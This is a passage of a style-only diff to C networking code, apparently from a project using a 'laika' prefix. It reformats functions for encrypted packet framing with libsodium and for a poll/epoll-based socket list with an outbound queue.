||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
|
||||||
laikaS_writeByte(sock, id);
|
laikaS_writeByte(sock, id);
|
||||||
@ -47,7 +49,8 @@ void laikaS_emptyOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
|||||||
laikaP_pushOutQueue(peer->pList, &peer->sock);
|
laikaP_pushOutQueue(peer->pList, &peer->sock);
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
|
||||||
if (peer->outStart != -1) /* sanity check */
|
if (peer->outStart != -1) /* sanity check */
|
||||||
@ -56,27 +59,31 @@ void laikaS_startOutPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
|||||||
laikaS_writeByte(sock, id);
|
laikaS_writeByte(sock, id);
|
||||||
|
|
||||||
peer->outStart = sock->outCount;
|
peer->outStart = sock->outCount;
|
||||||
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */
|
if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the
|
||||||
|
packet ID */
|
||||||
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
uint8_t nonce[crypto_secretbox_NONCEBYTES];
|
||||||
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
|
randombytes_buf(nonce, crypto_secretbox_NONCEBYTES);
|
||||||
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
|
laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
int laikaS_endOutPacket(struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
uint8_t *body;
|
uint8_t *body;
|
||||||
size_t sz;
|
size_t sz;
|
||||||
|
|
||||||
if (peer->useSecure) {
|
if (peer->useSecure) {
|
||||||
/* make sure we have enough space */
|
/* make sure we have enough space */
|
||||||
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap);
|
laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount,
|
||||||
|
sock->outCap);
|
||||||
|
|
||||||
/* packet body starts after the id & nonce */
|
/* packet body starts after the id & nonce */
|
||||||
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
|
body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES];
|
||||||
/* encrypt packet body in-place */
|
/* encrypt packet body in-place */
|
||||||
if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
if (crypto_secretbox_easy(body, body,
|
||||||
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
(sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES,
|
||||||
|
&sock->outBuf[peer->outStart], peer->outKey) != 0) {
|
||||||
LAIKA_ERROR("Failed to encrypt packet!\n");
|
LAIKA_ERROR("Failed to encrypt packet!\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -92,28 +99,33 @@ int laikaS_endOutPacket(struct sLaika_peer *peer) {
|
|||||||
return sz;
|
return sz;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id) {
|
void laikaS_startVarPacket(struct sLaika_peer *peer, LAIKAPKT_ID id)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
|
||||||
if (peer->outStart != -1) /* sanity check */
|
if (peer->outStart != -1) /* sanity check */
|
||||||
LAIKA_ERROR("unended OUT packet!\n");
|
LAIKA_ERROR("unended OUT packet!\n");
|
||||||
|
|
||||||
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
|
laikaS_writeByte(sock, LAIKAPKT_VARPKT);
|
||||||
laikaS_zeroWrite(sock, sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
|
laikaS_zeroWrite(sock,
|
||||||
|
sizeof(LAIKAPKT_SIZE)); /* allocate space for packet size to patch later */
|
||||||
laikaS_startOutPacket(peer, id);
|
laikaS_startOutPacket(peer, id);
|
||||||
}
|
}
|
||||||
|
|
||||||
int laikaS_endVarPacket(struct sLaika_peer *peer) {
|
int laikaS_endVarPacket(struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
int patchIndx = peer->outStart - (sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
|
int patchIndx = peer->outStart -
|
||||||
|
(sizeof(LAIKAPKT_SIZE) + sizeof(LAIKAPKT_ID)); /* gets index of packet size */
|
||||||
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
|
LAIKAPKT_SIZE sz = (LAIKAPKT_SIZE)laikaS_endOutPacket(peer);
|
||||||
|
|
||||||
/* patch packet size */
|
/* patch packet size */
|
||||||
memcpy((void*)&sock->outBuf[patchIndx], (void*)&sz, sizeof(LAIKAPKT_SIZE));
|
memcpy((void *)&sock->outBuf[patchIndx], (void *)&sz, sizeof(LAIKAPKT_SIZE));
|
||||||
return sz;
|
return sz;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
|
void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
|
|
||||||
if (peer->inStart != -1) /* sanity check */
|
if (peer->inStart != -1) /* sanity check */
|
||||||
@ -126,7 +138,8 @@ void laikaS_startInPacket(struct sLaika_peer *peer, bool variadic) {
|
|||||||
peer->inStart = sock->inCount;
|
peer->inStart = sock->inCount;
|
||||||
}
|
}
|
||||||
|
|
||||||
int laikaS_endInPacket(struct sLaika_peer *peer) {
|
int laikaS_endInPacket(struct sLaika_peer *peer)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock = &peer->sock;
|
struct sLaika_socket *sock = &peer->sock;
|
||||||
uint8_t *body;
|
uint8_t *body;
|
||||||
size_t sz = sock->inCount - peer->inStart;
|
size_t sz = sock->inCount - peer->inStart;
|
||||||
@ -135,7 +148,8 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
|
|||||||
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
|
body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES];
|
||||||
|
|
||||||
/* decrypt packet body in-place */
|
/* decrypt packet body in-place */
|
||||||
if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
if (crypto_secretbox_open_easy(
|
||||||
|
body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES,
|
||||||
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
|
&sock->inBuf[peer->inStart], peer->inKey) != 0) {
|
||||||
LAIKA_ERROR("Failed to decrypt packet!\n");
|
LAIKA_ERROR("Failed to decrypt packet!\n");
|
||||||
}
|
}
|
||||||
@ -153,113 +167,119 @@ int laikaS_endInPacket(struct sLaika_peer *peer) {
|
|||||||
return sz;
|
return sz;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaS_setSecure(struct sLaika_peer *peer, bool flag) {
|
void laikaS_setSecure(struct sLaika_peer *peer, bool flag)
|
||||||
|
{
|
||||||
peer->useSecure = flag;
|
peer->useSecure = flag;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ==================================[[ Handle Poll Events ]]=================================== */
|
/* ==================================[[ Handle Poll Events ]]=================================== */
|
||||||
|
|
||||||
bool laikaS_handlePeerIn(struct sLaika_socket *sock) {
|
bool laikaS_handlePeerIn(struct sLaika_socket *sock)
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
{
|
||||||
|
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||||
int recvd;
|
int recvd;
|
||||||
|
|
||||||
switch (peer->pktID) {
|
switch (peer->pktID) {
|
||||||
case LAIKAPKT_MAXNONE:
|
case LAIKAPKT_MAXNONE:
|
||||||
/* try grabbing pktID */
|
/* try grabbing pktID */
|
||||||
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
|
if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK)
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
/* read packet ID */
|
/* read packet ID */
|
||||||
peer->pktID = laikaS_readByte(&peer->sock);
|
peer->pktID = laikaS_readByte(&peer->sock);
|
||||||
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
|
LAIKA_DEBUG("%s\n", laikaD_getPacketName(peer->pktID));
|
||||||
|
|
||||||
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement. LAIKAPKT_VARPKT is
|
/* LAIKAPKT_VARPKT's body is unencrypted, and handled by this switch statement.
|
||||||
also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT case calls laikaS_startInPacket
|
LAIKAPKT_VARPKT is also likely not to be defined in our pktSizeTable. the LAIKAPKT_VARPKT
|
||||||
for itself, so skip all of this */
|
case calls laikaS_startInPacket for itself, so skip all of this */
|
||||||
if (peer->pktID == LAIKAPKT_VARPKT)
|
if (peer->pktID == LAIKAPKT_VARPKT)
|
||||||
goto _HandlePacketVariadic;
|
goto _HandlePacketVariadic;
|
||||||
|
|
||||||
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
|
/* sanity check pktID, pktID's handler & make sure it's not marked as variadic */
|
||||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || peer->packetTbl[peer->pktID].variadic)
|
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
|
||||||
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
|
peer->packetTbl[peer->pktID].variadic)
|
||||||
|
LAIKA_ERROR("peer %p doesn't support packet id [%d]!\n", peer, peer->pktID);
|
||||||
|
|
||||||
peer->pktSize = peer->packetTbl[peer->pktID].size;
|
peer->pktSize = peer->packetTbl[peer->pktID].size;
|
||||||
|
|
||||||
/* if peer->useSecure is true, body is encrypted */
|
/* if peer->useSecure is true, body is encrypted */
|
||||||
laikaS_startInPacket(peer, false);
|
laikaS_startInPacket(peer, false);
|
||||||
goto _HandlePacketBody;
|
goto _HandlePacketBody;
|
||||||
case LAIKAPKT_VARPKT:
|
case LAIKAPKT_VARPKT:
|
||||||
_HandlePacketVariadic:
|
_HandlePacketVariadic:
|
||||||
/* try grabbing pktID & size */
|
/* try grabbing pktID & size */
|
||||||
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) != RAWSOCK_OK)
|
if (laikaS_rawRecv(&peer->sock, sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE), &recvd) !=
|
||||||
return false;
|
RAWSOCK_OK)
|
||||||
|
return false;
|
||||||
|
|
||||||
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was probably sent maliciously anyways */
|
/* not worth queuing & setting pollIn for 3 bytes. if the connection is that slow, it was
|
||||||
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
|
* probably sent maliciously anyways */
|
||||||
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
if (recvd != sizeof(LAIKAPKT_ID) + sizeof(LAIKAPKT_SIZE))
|
||||||
|
LAIKA_ERROR("couldn't read whole LAIKAPKT_VARPKT\n");
|
||||||
|
|
||||||
/* read packet size */
|
/* read packet size */
|
||||||
laikaS_readInt(&peer->sock, (void*)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
laikaS_readInt(&peer->sock, (void *)&peer->pktSize, sizeof(LAIKAPKT_SIZE));
|
||||||
|
|
||||||
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
if (peer->pktSize > LAIKA_MAX_PKTSIZE)
|
||||||
LAIKA_ERROR("variable packet too large!\n");
|
LAIKA_ERROR("variable packet too large!\n");
|
||||||
|
|
||||||
/* read pktID */
|
/* read pktID */
|
||||||
peer->pktID = laikaS_readByte(&peer->sock);
|
peer->pktID = laikaS_readByte(&peer->sock);
|
||||||
|
|
||||||
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
|
/* sanity check pktID, check valid handler & make sure it's marked as variadic */
|
||||||
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL || !peer->packetTbl[peer->pktID].variadic)
|
if (peer->pktID >= LAIKAPKT_MAXNONE || peer->packetTbl[peer->pktID].handler == NULL ||
|
||||||
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
|
!peer->packetTbl[peer->pktID].variadic)
|
||||||
|
LAIKA_ERROR("requested packet id [%d] is not variadic!\n", peer->pktID);
|
||||||
|
|
||||||
/* if peer->useSecure is true, body is encrypted */
|
/* if peer->useSecure is true, body is encrypted */
|
||||||
laikaS_startInPacket(peer, true);
|
laikaS_startInPacket(peer, true);
|
||||||
goto _HandlePacketBody;
|
goto _HandlePacketBody;
|
||||||
default:
|
default:
|
||||||
_HandlePacketBody:
|
_HandlePacketBody:
|
||||||
/* try grabbing the rest of the packet */
|
/* try grabbing the rest of the packet */
|
||||||
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
if (laikaS_rawRecv(&peer->sock, peer->pktSize - peer->sock.inCount, &recvd) != RAWSOCK_OK)
|
||||||
return false;
|
return false;
|
||||||
|
|
||||||
/* have we received the full packet? */
|
/* have we received the full packet? */
|
||||||
if (peer->pktSize == peer->sock.inCount) {
|
if (peer->pktSize == peer->sock.inCount) {
|
||||||
peer->pktSize = laikaS_endInPacket(peer);
|
peer->pktSize = laikaS_endInPacket(peer);
|
||||||
|
|
||||||
/* dispatch to packet handler */
|
/* dispatch to packet handler */
|
||||||
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
|
peer->packetTbl[peer->pktID].handler(peer, peer->pktSize, peer->uData);
|
||||||
|
|
||||||
/* reset */
|
/* reset */
|
||||||
peer->sock.inCount = 0;
|
peer->sock.inCount = 0;
|
||||||
peer->pktID = LAIKAPKT_MAXNONE;
|
peer->pktID = LAIKAPKT_MAXNONE;
|
||||||
}
|
}
|
||||||
|
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
return laikaS_isAlive((&peer->sock));
|
return laikaS_isAlive((&peer->sock));
|
||||||
}
|
}
|
||||||
|
|
||||||
bool laikaS_handlePeerOut(struct sLaika_socket *sock) {
|
bool laikaS_handlePeerOut(struct sLaika_socket *sock)
|
||||||
struct sLaika_peer *peer = (struct sLaika_peer*)sock;
|
{
|
||||||
|
struct sLaika_peer *peer = (struct sLaika_peer *)sock;
|
||||||
int sent;
|
int sent;
|
||||||
|
|
||||||
if (peer->sock.outCount == 0) /* sanity check */
|
if (peer->sock.outCount == 0) /* sanity check */
|
||||||
return true;
|
return true;
|
||||||
|
|
||||||
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
|
switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) {
|
||||||
case RAWSOCK_OK: /* we're ok! */
|
case RAWSOCK_OK: /* we're ok! */
|
||||||
/* if POLLOUT was set, unset it */
|
/* if POLLOUT was set, unset it */
|
||||||
laikaP_rmvPollOut(peer->pList, &peer->sock);
|
laikaP_rmvPollOut(peer->pList, &peer->sock);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
case RAWSOCK_POLL: /* we've been asked to set the POLLOUT flag */
|
||||||
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
/* if POLLOUT wasn't set, set it so we'll be notified whenever the kernel has room :) */
|
||||||
laikaP_addPollOut(peer->pList, &peer->sock);
|
laikaP_addPollOut(peer->pList, &peer->sock);
|
||||||
|
|
||||||
return true;
|
return true;
|
||||||
default: /* panic! */
|
default: /* panic! */
|
||||||
case RAWSOCK_CLOSED:
|
case RAWSOCK_CLOSED:
|
||||||
case RAWSOCK_ERROR:
|
case RAWSOCK_ERROR:
|
||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
@ -1,38 +1,44 @@
|
|||||||
|
#include "lpolllist.h"
|
||||||
|
|
||||||
#include "lerror.h"
|
#include "lerror.h"
|
||||||
#include "lmem.h"
|
#include "lmem.h"
|
||||||
#include "lpolllist.h"
|
|
||||||
|
|
||||||
/* ===================================[[ Helper Functions ]]==================================== */
|
/* ===================================[[ Helper Functions ]]==================================== */
|
||||||
|
|
||||||
typedef struct sLaika_hashMapElem {
|
typedef struct sLaika_hashMapElem
|
||||||
|
{
|
||||||
SOCKET fd;
|
SOCKET fd;
|
||||||
struct sLaika_socket *sock;
|
struct sLaika_socket *sock;
|
||||||
} tLaika_hashMapElem;
|
} tLaika_hashMapElem;
|
||||||
|
|
||||||
int elem_compare(const void *a, const void *b, void *udata) {
|
int elem_compare(const void *a, const void *b, void *udata)
|
||||||
|
{
|
||||||
const tLaika_hashMapElem *ua = a;
|
const tLaika_hashMapElem *ua = a;
|
||||||
const tLaika_hashMapElem *ub = b;
|
const tLaika_hashMapElem *ub = b;
|
||||||
|
|
||||||
return ua->fd != ub->fd;
|
return ua->fd != ub->fd;
|
||||||
}
|
}
|
||||||
|
|
||||||
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1) {
|
uint64_t elem_hash(const void *item, uint64_t seed0, uint64_t seed1)
|
||||||
|
{
|
||||||
const tLaika_hashMapElem *u = item;
|
const tLaika_hashMapElem *u = item;
|
||||||
return (uint64_t)(u->fd);
|
return (uint64_t)(u->fd);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* =====================================[[ PollList API ]]====================================== */
|
/* =====================================[[ PollList API ]]====================================== */
|
||||||
|
|
||||||
void laikaP_initPList(struct sLaika_pollList *pList) {
|
void laikaP_initPList(struct sLaika_pollList *pList)
|
||||||
|
{
|
||||||
laikaS_init();
|
laikaS_init();
|
||||||
|
|
||||||
/* setup hashmap */
|
/* setup hashmap */
|
||||||
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash, elem_compare, NULL, NULL);
|
pList->sockets = hashmap_new(sizeof(tLaika_hashMapElem), POLLSTARTCAP, 0, 0, elem_hash,
|
||||||
|
elem_compare, NULL, NULL);
|
||||||
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
|
pList->revents = NULL; /* laikaP_pollList() will allocate the buffer */
|
||||||
pList->reventCap = POLLSTARTCAP/GROW_FACTOR;
|
pList->reventCap = POLLSTARTCAP / GROW_FACTOR;
|
||||||
pList->reventCount = 0;
|
pList->reventCount = 0;
|
||||||
pList->outQueue = NULL;
|
pList->outQueue = NULL;
|
||||||
pList->outCap = POLLSTARTCAP/GROW_FACTOR;
|
pList->outCap = POLLSTARTCAP / GROW_FACTOR;
|
||||||
pList->outCount = 0;
|
pList->outCount = 0;
|
||||||
|
|
||||||
#ifdef LAIKA_USE_EPOLL
|
#ifdef LAIKA_USE_EPOLL
|
||||||
@ -43,12 +49,15 @@ void laikaP_initPList(struct sLaika_pollList *pList) {
|
|||||||
|
|
||||||
#else
|
#else
|
||||||
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
|
pList->fds = NULL; /* laikaP_addSock will allocate the buffer */
|
||||||
pList->fdCapacity = POLLSTARTCAP/GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
|
pList->fdCapacity =
|
||||||
|
POLLSTARTCAP /
|
||||||
|
GROW_FACTOR; /* div by GROW_FACTOR since laikaM_growarray multiplies by GROW_FACTOR */
|
||||||
pList->fdCount = 0;
|
pList->fdCount = 0;
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_cleanPList(struct sLaika_pollList *pList) {
|
void laikaP_cleanPList(struct sLaika_pollList *pList)
|
||||||
|
{
|
||||||
laikaM_free(pList->revents);
|
laikaM_free(pList->revents);
|
||||||
laikaM_free(pList->outQueue);
|
laikaM_free(pList->outQueue);
|
||||||
hashmap_free(pList->sockets);
|
hashmap_free(pList->sockets);
|
||||||
@ -62,13 +71,14 @@ void laikaP_cleanPList(struct sLaika_pollList *pList) {
|
|||||||
laikaS_cleanUp();
|
laikaS_cleanUp();
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
/* add socket to hashmap */
|
/* add socket to hashmap */
|
||||||
hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
|
hashmap_set(pList->sockets, &(tLaika_hashMapElem){.fd = sock->sock, .sock = sock});
|
||||||
|
|
||||||
#ifdef LAIKA_USE_EPOLL
|
#ifdef LAIKA_USE_EPOLL
|
||||||
pList->ev.events = EPOLLIN;
|
pList->ev.events = EPOLLIN;
|
||||||
pList->ev.data.ptr = (void*)sock;
|
pList->ev.data.ptr = (void *)sock;
|
||||||
|
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1)
|
||||||
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
|
LAIKA_ERROR("epoll_ctl [ADD] failed\n");
|
||||||
@ -80,7 +90,8 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* remove socket from hashmap */
|
/* remove socket from hashmap */
|
||||||
@ -88,13 +99,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
|||||||
|
|
||||||
/* make sure peer isn't in outQueue */
|
/* make sure peer isn't in outQueue */
|
||||||
for (i = 0; i < pList->outCount; i++) {
|
for (i = 0; i < pList->outCount; i++) {
|
||||||
if ((void*)pList->outQueue[i] == (void*)sock) {
|
if ((void *)pList->outQueue[i] == (void *)sock) {
|
||||||
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
|
laikaM_rmvarray(pList->outQueue, pList->outCount, i, 1);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef LAIKA_USE_EPOLL
|
#ifdef LAIKA_USE_EPOLL
|
||||||
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
/* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL
|
||||||
|
* pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) {
|
||||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||||
LAIKA_WARN("epoll_ctl [DEL] failed\n");
|
LAIKA_WARN("epoll_ctl [DEL] failed\n");
|
||||||
@ -112,13 +124,14 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
|||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
if (sock->setPollOut)
|
if (sock->setPollOut)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
#ifdef LAIKA_USE_EPOLL
|
#ifdef LAIKA_USE_EPOLL
|
||||||
pList->ev.events = EPOLLIN | EPOLLOUT;
|
pList->ev.events = EPOLLIN | EPOLLOUT;
|
||||||
pList->ev.data.ptr = (void*)sock;
|
pList->ev.data.ptr = (void *)sock;
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
||||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||||
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
||||||
@ -138,13 +151,14 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
|||||||
sock->setPollOut = true;
|
sock->setPollOut = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
if (!sock->setPollOut)
|
if (!sock->setPollOut)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
#ifdef LAIKA_USE_EPOLL
|
#ifdef LAIKA_USE_EPOLL
|
||||||
pList->ev.events = EPOLLIN;
|
pList->ev.events = EPOLLIN;
|
||||||
pList->ev.data.ptr = (void*)sock;
|
pList->ev.data.ptr = (void *)sock;
|
||||||
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) {
|
||||||
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
/* non-fatal error, socket probably just didn't exist, so ignore it. */
|
||||||
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
LAIKA_WARN("epoll_ctl [MOD] failed\n");
|
||||||
@ -164,7 +178,8 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock
|
|||||||
sock->setPollOut = false;
|
sock->setPollOut = false;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
|
void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *sock)
|
||||||
|
{
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
/* first, check that we don't have this peer in the queue already */
|
/* first, check that we don't have this peer in the queue already */
|
||||||
@ -173,15 +188,17 @@ void laikaP_pushOutQueue(struct sLaika_pollList *pList, struct sLaika_socket *so
|
|||||||
return; /* found it :) */
|
return; /* found it :) */
|
||||||
}
|
}
|
||||||
|
|
||||||
laikaM_growarray(struct sLaika_socket*, pList->outQueue, 1, pList->outCount, pList->outCap);
|
laikaM_growarray(struct sLaika_socket *, pList->outQueue, 1, pList->outCount, pList->outCap);
|
||||||
pList->outQueue[pList->outCount++] = sock;
|
pList->outQueue[pList->outCount++] = sock;
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_resetOutQueue(struct sLaika_pollList *pList) {
|
void laikaP_resetOutQueue(struct sLaika_pollList *pList)
|
||||||
|
{
|
||||||
pList->outCount = 0; /* ez lol */
|
pList->outCount = 0; /* ez lol */
|
||||||
}
|
}
|
||||||
|
|
||||||
void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
|
void laikaP_flushOutQueue(struct sLaika_pollList *pList)
|
||||||
|
{
|
||||||
struct sLaika_socket *sock;
|
struct sLaika_socket *sock;
|
||||||
int i;
|
int i;
|
||||||
|
|
||||||
@ -195,14 +212,16 @@ void laikaP_flushOutQueue(struct sLaika_pollList *pList) {
|
|||||||
laikaP_resetOutQueue(pList);
|
laikaP_resetOutQueue(pList);
|
||||||
}
|
}
|
||||||
|
|
||||||
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents) {
|
struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, int *_nevents)
|
||||||
|
{
|
||||||
int nEvents, i;
|
int nEvents, i;
|
||||||
|
|
||||||
pList->reventCount = 0; /* reset revent array */
|
pList->reventCount = 0; /* reset revent array */
|
||||||
#ifdef LAIKA_USE_EPOLL
|
#ifdef LAIKA_USE_EPOLL
|
||||||
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a lookup into our socket hashmap
|
/* fastpath: we store the sLaika_socket* pointer directly in the epoll_data_t, saving us a
|
||||||
not to mention the various improvements epoll() has over poll() :D
|
lookup into our socket hashmap not to mention the various improvements epoll() has over
|
||||||
*/
|
poll() :D
|
||||||
|
